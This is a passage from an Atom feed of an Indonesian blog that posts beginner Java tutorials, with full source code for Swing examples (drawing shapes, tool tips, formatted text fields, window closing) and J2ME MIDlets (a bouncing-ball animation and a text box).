<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4800477668618011834</id><updated>2011-12-30T11:48:12.996+07:00</updated><category term='J2ME'/><category term='Pemograman Java'/><category term='JFrame'/><category term='Java Swing'/><title type='text'>Dunia Komputer</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>10</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-555556486006489007</id><published>2010-06-01T20:53:00.003+07:00</published><updated>2010-06-01T21:16:41.856+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Swing'/><title type='text'>Menggambar pada Frame</title><content type='html'>Berikut ini adalah source kode untuk menggambar &lt;span class="fullpost"&gt;import javax.swing.*;&lt;br /&gt;import java.awt.*;&lt;br /&gt;&lt;br /&gt;public class DrawingColor{&lt;br /&gt; public static void main(String[] args) {&lt;br /&gt;  DrawingColor d = new DrawingColor();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; public DrawingColor(){&lt;br /&gt;  JFrame frame = new JFrame("Drawing colorfull shapes");&lt;br /&gt;  frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);&lt;br /&gt;  frame.getContentPane().add(new MyComponent());&lt;br /&gt;  frame.setSize(400,400);&lt;br /&gt;  frame.setVisible(true); &lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; public class MyComponent extends JComponent{&lt;br /&gt;  public void paint(Graphics g){&lt;br /&gt;   int height = 200;&lt;br /&gt;   int width = 120;&lt;br /&gt;   g.setColor(Color.red);&lt;br /&gt;   g.drawRect(10,10,height,width);&lt;br /&gt;   g.setColor(Color.gray);&lt;br /&gt;   g.fillRect(11,11,height,width); &lt;br /&gt;   g.setColor(Color.red);&lt;br /&gt;   g.drawOval(250,20, height,width);&lt;br /&gt;   g.setColor(Color.magenta);&lt;br /&gt;   g.fillOval(249,19,height,width); &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;}&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-555556486006489007?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/555556486006489007/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2010/06/menggambar-pada-frame.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/555556486006489007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/555556486006489007'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2010/06/menggambar-pada-frame.html' title='Menggambar pada Frame'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-2136539746207844447</id><published>2009-01-23T16:49:00.003+07:00</published><updated>2009-01-23T16:58:25.922+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='J2ME'/><title type='text'>Animation</title><content type='html'>Membuat sedikit animasi mugkin akan menambah indah hasil program yang dihasulkan kode berikut adalah salah satu contoh yang mungkin bisa jadi gambaran :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;import java.util.*;&lt;br /&gt;import javax.microedition.midlet.*;&lt;br /&gt;import javax.microedition.lcdui.*;&lt;br /&gt;&lt;br /&gt;public class Animation extends MIDlet&lt;br /&gt;{&lt;br /&gt;  private Display  display;       // The display&lt;br /&gt;  private AnimationCanvas canvas; // Canvas &lt;br /&gt;  private Timer tm;               // Timer&lt;br /&gt;  private AnimateTimerTask tt;    // Task&lt;br /&gt; &lt;br /&gt;  public Animation()&lt;br /&gt;  {&lt;br /&gt;    display = Display.getDisplay(this);&lt;br /&gt;    canvas  = new AnimationCanvas(this);&lt;br /&gt;&lt;br /&gt;    // Create task that fires off every 1/10 second    &lt;br /&gt;    tm = new Timer();&lt;br /&gt;    tt = new AnimateTimerTask(canvas);&lt;br /&gt;    tm.schedule(tt, 0, 100);    &lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  protected void startApp()&lt;br /&gt;  {&lt;br /&gt;    display.setCurrent(canvas);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  protected void pauseApp()&lt;br /&gt;  { }&lt;br /&gt;&lt;br /&gt;  protected void destroyApp(boolean unconditional)&lt;br /&gt;  { }&lt;br /&gt; &lt;br /&gt;  public void exitMIDlet()&lt;br /&gt;  {&lt;br /&gt;    destroyApp(true);&lt;br /&gt;    notifyDestroyed();&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;class AnimateTimerTask extends TimerTask&lt;br /&gt;{&lt;br /&gt;  private AnimationCanvas canvas;&lt;br /&gt;  &lt;br /&gt;  public AnimateTimerTask(AnimationCanvas canvas)&lt;br /&gt;  {&lt;br /&gt;    this.canvas = canvas;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  public final void run()&lt;br /&gt;  {&lt;br /&gt;  //  ****************************************************&lt;br /&gt;    if ((canvas.x_loc + canvas.radius +  canvas.x_dir &gt; canvas.getWidth()) ||&lt;br /&gt;        (canvas.x_loc - canvas.radius +  canvas.x_dir &lt; 0))&lt;br /&gt;    {                &lt;br /&gt;      canvas.x_dir = -canvas.x_dir;&lt;br /&gt;      canvas.changeColor();&lt;br /&gt;      canvas.directionChanged++;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    // **************************************************&lt;br /&gt;    if ((canvas.y_loc + canvas.radius +  canvas.y_dir &gt; canvas.getHeight()) ||&lt;br /&gt;        (canvas.y_loc - canvas.radius + canvas.y_dir &lt; 0))      &lt;br /&gt;    {          &lt;br /&gt;      canvas.y_dir = -canvas.y_dir;&lt;br /&gt;      canvas.changeColor();&lt;br /&gt;      canvas.directionChanged++;      &lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    //*********************************&lt;br /&gt;    canvas.x_loc += canvas.x_dir;&lt;br /&gt;    canvas.y_loc += canvas.y_dir;&lt;br /&gt; &lt;br /&gt;    canvas.repaint();            &lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class AnimationCanvas extends Canvas implements CommandListener&lt;br /&gt;{&lt;br /&gt;  private Animation midlet;         // Main midlet&lt;br /&gt;  private Command cmExit;          // Exit midlet&lt;br /&gt;  private int    keyFire,           // Reset ball            &lt;br /&gt;                 keyRight,          // Increase ball radius&lt;br /&gt;                 keyLeft;           // Decrease ball radius&lt;br /&gt;  private boolean clearBackground = false; // Clear background&lt;br /&gt;  private Random random;            // Random number&lt;br /&gt;  int x_loc,                        // Current x &amp; y locations&lt;br /&gt;      y_loc,                        &lt;br /&gt;      radius,                       // Ball radius&lt;br /&gt;      red,                          // rgb colors&lt;br /&gt;      green,                       &lt;br /&gt;      blue,                       &lt;br /&gt;      x_dir,                // Next x &amp; y positions of ball&lt;br /&gt;      y_dir,                &lt;br /&gt;      start_x,              // Where ball starts &lt;br /&gt;      start_y,&lt;br /&gt;      directionChanged = 0; // How many times we've hit a wall&lt;br /&gt;  private static final int MAX_CHANGES = 50;&lt;br /&gt;&lt;br /&gt;  /*--------------------------------------------------&lt;br /&gt;  * Constructor&lt;br /&gt;  *-------------------------------------------------*/&lt;br /&gt;  public AnimationCanvas(Animation midlet)&lt;br /&gt;  {&lt;br /&gt;    // ****************************&lt;br /&gt;    this.midlet = midlet;&lt;br /&gt;&lt;br /&gt;    random = new java.util.Random();&lt;br /&gt;    &lt;br /&gt;    // Determine starting location and direction of ball&lt;br /&gt;    init();&lt;br /&gt;    radius = 7;&lt;br /&gt;    &lt;br /&gt;    // ******************************************&lt;br /&gt;    cmExit = new Command("Exit", Command.EXIT, 1);&lt;br /&gt;&lt;br /&gt;    keyFire =  getKeyCode(FIRE);&lt;br /&gt;    keyRight = getKeyCode(RIGHT);&lt;br /&gt;    keyLeft = getKeyCode(LEFT);&lt;br /&gt;    &lt;br /&gt;    addCommand(cmExit);&lt;br /&gt;    setCommandListener(this);&lt;br /&gt;  } &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  protected void paint(Graphics g)&lt;br /&gt;  {&lt;br /&gt;    // ********************************&lt;br /&gt;    if (directionChanged &gt; MAX_CHANGES)&lt;br /&gt;      init();&lt;br /&gt;    &lt;br /&gt;    // the background&lt;br /&gt;    if (clearBackground)&lt;br /&gt;    {&lt;br /&gt;      g.setColor(255, 255, 255);&lt;br /&gt;      g.fillRect(0, 0, getWidth(), getHeight());&lt;br /&gt;      clearBackground = !clearBackground;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    // Set warna dan gambar &lt;br /&gt;    g.setColor(red, green, blue);                    &lt;br /&gt;    g.fillArc( x_loc, y_loc, radius, radius, 0, 360);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /*--------------------------------------------------&lt;br /&gt;  * Ini Lokasi ball&lt;br /&gt;  *-------------------------------------------------*/&lt;br /&gt;  private void init()&lt;br /&gt;  {&lt;br /&gt;    // Start close to the middle&lt;br /&gt;    x_loc = getWidth() / 2;&lt;br /&gt;    y_loc = getHeight() / 2;      &lt;br /&gt;&lt;br /&gt;    // The direction the ball is heading&lt;br /&gt;    x_dir = (random.nextInt() % 10);&lt;br /&gt;    if (x_dir == 0)  x_dir = 1;&lt;br /&gt;    &lt;br /&gt;    y_dir = (random.nextInt() % 10);&lt;br /&gt;    if (y_dir == 0)  y_dir = 1;&lt;br /&gt;&lt;br /&gt;    directionChanged = 0;    &lt;br /&gt;    clearBackground = true;      &lt;br /&gt;    changeColor();      &lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;  protected void changeColor()&lt;br /&gt;  {&lt;br /&gt;    // The shift is to remove any sign (negative) bit    &lt;br /&gt;    red = (random.nextInt() &gt;&gt;&gt; 1) % 256;&lt;br /&gt;    green = (random.nextInt() &gt;&gt;&gt; 1) % 256;&lt;br /&gt;    blue = (random.nextInt() &gt;&gt;&gt; 1) % 256;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /*--------------------------------------------------&lt;br /&gt;  * Event handling&lt;br /&gt;  *-------------------------------------------------*/  &lt;br /&gt;  public void commandAction(Command c, Displayable d)&lt;br /&gt;  {&lt;br /&gt;    if (c == cmExit)&lt;br /&gt;      midlet.exitMIDlet();&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  protected void keyPressed(int keyCode)&lt;br /&gt;  {&lt;br /&gt;    // Restart&lt;br /&gt;    if (keyCode == keyFire)&lt;br /&gt;      init();&lt;br /&gt;    // Decrease ball size&lt;br /&gt;    else if (keyCode == keyLeft)&lt;br /&gt;      radius = Math.max(1, --radius);&lt;br /&gt;    else if (keyCode == keyRight)&lt;br /&gt;    // Increase ball size&lt;br /&gt;     radius = Math.min(getWidth() / 4, ++radius);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-2136539746207844447?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/2136539746207844447/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2009/01/animation.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2136539746207844447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2136539746207844447'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2009/01/animation.html' title='Animation'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-522841996687907356</id><published>2009-01-23T16:45:00.002+07:00</published><updated>2009-01-23T16:48:35.873+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='J2ME'/><title type='text'>Contoh Text-Box Midlet</title><content type='html'>Lansung pada pokoknya hehe.. kita akan buat contoh program text Box Midlet... ketikan aja kode dibawah ini ya....! &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;import java.io.*;&lt;br /&gt;import javax.microedition.lcdui.Command;&lt;br /&gt;import javax.microedition.lcdui.CommandListener;&lt;br /&gt;import javax.microedition.lcdui.Displayable;&lt;br /&gt;&lt;br /&gt;import javax.microedition.lcdui.*;&lt;br /&gt;&lt;br /&gt;import javax.microedition.midlet.MIDlet;&lt;br /&gt;&lt;br /&gt;public class TextBoxMIDlet extends TextBoxMIDlet implements CommandListener {&lt;br /&gt;&lt;br /&gt;    // Exit command&lt;br /&gt;    private static final Command EXIT_COMMAND = &lt;br /&gt;                        new Command("Exit", Command.EXIT, 0);&lt;br /&gt;    &lt;br /&gt;    // OK command&lt;br /&gt;    private static final Command OK_COMMAND =&lt;br /&gt;                        new Command("OK", Command.OK, 0);&lt;br /&gt;    &lt;br /&gt;    // Clear text box content&lt;br /&gt;    private static final Command CLEAR_COMMAND =&lt;br /&gt;                        new Command("Clear", Command.SCREEN, 1);&lt;br /&gt;    &lt;br /&gt;    // Reverse the content of the text box&lt;br /&gt;    private static final Command REVERSE_COMMAND =&lt;br /&gt;                        new Command("Reverse", Command.SCREEN, 1);&lt;br /&gt;&lt;br /&gt;    protected void startApp() {&lt;br /&gt;        boolean firstTime = !started;&lt;br /&gt;        super.startApp();&lt;br /&gt;        &lt;br /&gt;        // If this is the first execution&lt;br /&gt;        // of startApp, install commands&lt;br /&gt;        if (firstTime) {&lt;br /&gt;            textBox.addCommand(OK_COMMAND);            &lt;br /&gt;            textBox.addCommand(EXIT_COMMAND);&lt;br /&gt;            textBox.addCommand(CLEAR_COMMAND);            &lt;br /&gt;            textBox.addCommand(REVERSE_COMMAND);            &lt;br /&gt;            textBox.setCommandListener(this);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    // Command implementations.&lt;br /&gt;    public void commandAction(Command c, Displayable d) {&lt;br /&gt;        if (c == EXIT_COMMAND) {&lt;br /&gt;            destroyApp(true);&lt;br /&gt;            notifyDestroyed();&lt;br /&gt;        } else if (c == OK_COMMAND) {&lt;br /&gt;            System.out.println("OK pressed");&lt;br /&gt;        } else if (c == CLEAR_COMMAND) {&lt;br /&gt;            textBox.setString(null);&lt;br /&gt;        } else if (c == REVERSE_COMMAND) {&lt;br /&gt;            String str = textBox.getString();&lt;br /&gt;            if (str != null) {&lt;br /&gt;                StringBuffer sb = new StringBuffer(str);&lt;br /&gt;                textBox.setString(sb.reverse().toString());&lt;br /&gt;            }            &lt;br /&gt;        }&lt;br /&gt;    }    &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class TextBoxMIDlet extends MIDlet {&lt;br /&gt;&lt;br /&gt;    // Maximum size of the text in the TextBox&lt;br /&gt;    private static final int MAX_TEXT_SIZE = 64;&lt;br /&gt;    &lt;br /&gt;    // The TextBox&lt;br /&gt;    protected TextBox textBox;&lt;br /&gt;    &lt;br /&gt;    // The MIDlet's Display object&lt;br /&gt;    protected Display display;&lt;br /&gt;    &lt;br /&gt;    // Flag indicating first call of startApp&lt;br /&gt;    protected boolean started;&lt;br /&gt;    &lt;br /&gt;    protected void startApp() {&lt;br /&gt;        if (!started) {&lt;br /&gt;            // First time through - initialize            &lt;br /&gt;            // Get the text to be displayed&lt;br /&gt;            String str = null;&lt;br /&gt;            try {&lt;br /&gt;                InputStream is = getClass().getResourceAsStream("test.txt");&lt;br /&gt;                InputStreamReader r = new InputStreamReader(is);&lt;br /&gt;                char[] buffer = new char[32];&lt;br /&gt;                StringBuffer sb = new StringBuffer();&lt;br /&gt;                int count;&lt;br /&gt;                while ((count = r.read(buffer, 0, buffer.length)) &gt; -1) {&lt;br /&gt;                    sb.append(buffer, 0, count);&lt;br /&gt;                }&lt;br /&gt;                str = sb.toString();&lt;br /&gt;            } catch (IOException ex) {&lt;br /&gt;                str = "Failed to load text";&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            // Create the TextBox&lt;br /&gt;            textBox = new TextBox("TextBox Example", str, &lt;br /&gt;                                MAX_TEXT_SIZE, TextField.ANY);&lt;br /&gt;            &lt;br /&gt;            // Create a ticker and install it&lt;br /&gt;            Ticker ticker = new Ticker("This is a ticker...");&lt;br /&gt;            textBox.setTicker(ticker);&lt;br /&gt;            &lt;br /&gt;            // Install the TextBox as the current screen&lt;br /&gt;            display = Display.getDisplay(this);            &lt;br /&gt;            display.setCurrent(textBox);&lt;br /&gt;&lt;br /&gt;            started = true;&lt;br /&gt;        }        &lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    protected void pauseApp() {&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    protected void destroyApp(boolean unconditional) {&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-522841996687907356?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/522841996687907356/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2009/01/contoh-text-box-midlet.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/522841996687907356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/522841996687907356'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2009/01/contoh-text-box-midlet.html' title='Contoh Text-Box Midlet'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-7040676885189356708</id><published>2009-01-23T16:37:00.001+07:00</published><updated>2009-01-23T16:42:20.310+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Swing'/><title type='text'>WindowClosingExample</title><content type='html'>Kala Kita membuat program di dekstop kadang tanda silang yang berada pada jendela hasil eksekusi program tidak bisa ditutup, mungkin karena ada beberapa komponen yang belum dimasukan, sebagai contoh program mungkin kode dibawah ini bisa jadi rujukan buat pembaca sekalian.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;package org.kodejava.example.swing;&lt;br /&gt; &lt;br /&gt;import java.awt.Button;&lt;br /&gt;import java.awt.Dimension;&lt;br /&gt;import java.awt.event.WindowAdapter;&lt;br /&gt;import java.awt.event.WindowEvent;&lt;br /&gt; &lt;br /&gt;import javax.swing.JFrame;&lt;br /&gt; &lt;br /&gt;public class WindowClosingExample extends JFrame {&lt;br /&gt;    public static void main(String[] args) {&lt;br /&gt; WindowClosingExample frame = new WindowClosingExample();&lt;br /&gt; frame.setSize(new Dimension(200, 200));&lt;br /&gt; frame.add(new Button("Hello World"));&lt;br /&gt; &lt;br /&gt; //&lt;br /&gt; // Add window listener by implementing WindowAdapter class to the &lt;br /&gt; // frame instance. To handle the close event we just need to implement&lt;br /&gt; // the windowClosing() method.&lt;br /&gt; //&lt;br /&gt; frame.addWindowListener(new WindowAdapter() {&lt;br /&gt; &lt;br /&gt;     @Override&lt;br /&gt;     public void windowClosing(WindowEvent e) {&lt;br /&gt;  System.exit(0);&lt;br /&gt;     }&lt;br /&gt; });&lt;br /&gt; &lt;br /&gt;        //&lt;br /&gt;        // Show the frame&lt;br /&gt;        // &lt;br /&gt; frame.setVisible(true);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-7040676885189356708?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/7040676885189356708/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2009/01/windowclosingexample.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/7040676885189356708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/7040676885189356708'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2009/01/windowclosingexample.html' title='WindowClosingExample'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-2907193570447507469</id><published>2009-01-23T16:21:00.006+07:00</published><updated>2009-01-23T16:37:12.172+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Swing'/><title type='text'>Tool Tips dengan Swing</title><content type='html'>Kalau kita menggerakan mouse melewati suatu objek di dekstop, kadang kita akan melihat&lt;br /&gt;tulisan muncul dengan tiba-tibaatau dengan kata lain adalah Tool Tips yang berfungsi untuk memberikan keterangan tentang funsi suatu objek yang terlewati oleh mouse, pada contoh kali ini kita akan membuat tool tips dengan mengunakan java swing. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;kode ini bisa di jalankan pada semua IDE nya java... &lt;br /&gt;ketikan kode berikut ini :&lt;br /&gt;&lt;br /&gt;package org.kodejava.example.swing;&lt;br /&gt; &lt;br /&gt;import javax.swing.*;&lt;br /&gt;import java.awt.*;&lt;br /&gt; &lt;br /&gt;public class MultilinesToolTip {&lt;br /&gt;    public static void main(String[] args) {&lt;br /&gt;        JFrame frame = new JFrame("Tool Tip Demo");&lt;br /&gt;        frame.setSize(200, 200);&lt;br /&gt;        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);&lt;br /&gt; &lt;br /&gt;        JLabel label = new JLabel("Tool Tips");&lt;br /&gt;        &lt;br /&gt;        //&lt;br /&gt;        // Setting tool tip for our Swing JLabel component using an html&lt;br /&gt;        // formatted string so that we can create a multi lines tool tip.&lt;br /&gt;        //&lt;br /&gt;        label.setToolTipText(&lt;br /&gt;           "Coba ToolTips"); &lt;br /&gt;        frame.getContentPane().setLayout(new FlowLayout(FlowLayout.CENTER));&lt;br /&gt;        frame.getContentPane().add(label);&lt;br /&gt; &lt;br /&gt;        frame.setVisible(true);}}&lt;br /&gt;   &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-2907193570447507469?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/2907193570447507469/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2009/01/tool-tips-dengan-swing.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2907193570447507469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2907193570447507469'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2009/01/tool-tips-dengan-swing.html' title='Tool Tips dengan Swing'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-4533158272658287211</id><published>2009-01-23T16:15:00.001+07:00</published><updated>2009-01-23T16:21:11.195+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JFrame'/><title type='text'>FormattedTextFieldExample JFrame</title><content type='html'>Langsung saja deh kali ini kita membuat contoh aplikasi Format TextField di dekstop,&lt;br /&gt;ketikan kode yang ada disini :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;package org.kodejava.example.swing;&lt;br /&gt; &lt;br /&gt;import javax.swing.*;&lt;br /&gt;import javax.swing.text.MaskFormatter;&lt;br /&gt;import javax.swing.text.DateFormatter;&lt;br /&gt;import java.awt.*;&lt;br /&gt;import java.text.DateFormat;&lt;br /&gt;import java.text.SimpleDateFormat;&lt;br /&gt;import java.text.ParseException;&lt;br /&gt;import java.util.Date;&lt;br /&gt; &lt;br /&gt;public class FormattedTextFieldExample extends JFrame {&lt;br /&gt;    public FormattedTextFieldExample() {&lt;br /&gt;        initComponents();&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    private void initComponents() {&lt;br /&gt;        setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);&lt;br /&gt;        setSize(new Dimension(200, 200));&lt;br /&gt;        getContentPane().setLayout(new FlowLayout(FlowLayout.LEFT));&lt;br /&gt; &lt;br /&gt;        MaskFormatter mask = null;&lt;br /&gt;        try {&lt;br /&gt;            //&lt;br /&gt;            // Create a MaskFormatter for accepting phone number, the # symbol accept&lt;br /&gt;            // only a number. We can also set the empty value with a place holder&lt;br /&gt;            // character.&lt;br /&gt;            //&lt;br /&gt;            mask = new MaskFormatter("(###) ###-####");&lt;br /&gt;            mask.setPlaceholderCharacter('_');&lt;br /&gt;        } catch (ParseException e) {&lt;br /&gt;            e.printStackTrace();&lt;br /&gt;        }&lt;br /&gt; &lt;br /&gt;        //&lt;br /&gt;        // Create a formatted text field that accept a valid phone number.&lt;br /&gt;        //&lt;br /&gt;        JFormattedTextField phoneField = new JFormattedTextField(mask);&lt;br /&gt;        phoneField.setPreferredSize(new Dimension(100, 20));&lt;br /&gt; &lt;br /&gt;        //&lt;br /&gt;        // Here we create a formatted text field that accept a date value. We&lt;br /&gt;        // create an instance of SimpleDateFormat and use it to create a&lt;br /&gt;        // DateFormatter instance which will be passed to the JFormattedTextField.&lt;br /&gt;        //&lt;br /&gt;        DateFormat format = new SimpleDateFormat("dd-MMMM-yyyy");&lt;br /&gt;        DateFormatter df = new DateFormatter(format);&lt;br /&gt;        JFormattedTextField dateField = new JFormattedTextField(df);&lt;br /&gt;        dateField.setPreferredSize(new Dimension(100, 20));&lt;br /&gt;        dateField.setValue(new Date());&lt;br /&gt; &lt;br /&gt;        getContentPane().add(phoneField);&lt;br /&gt;        getContentPane().add(dateField);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    public static void main(String[] args) {&lt;br /&gt;        SwingUtilities.invokeLater(new Runnable() {&lt;br /&gt;            public void run() {&lt;br /&gt;                new FormattedTextFieldExample().setVisible(true);&lt;br /&gt;            }&lt;br /&gt;        });&lt;br /&gt;    }&lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-4533158272658287211?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/4533158272658287211/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2009/01/formattedtextfieldexample-jframe.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/4533158272658287211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/4533158272658287211'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2009/01/formattedtextfieldexample-jframe.html' title='FormattedTextFieldExample JFrame'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image 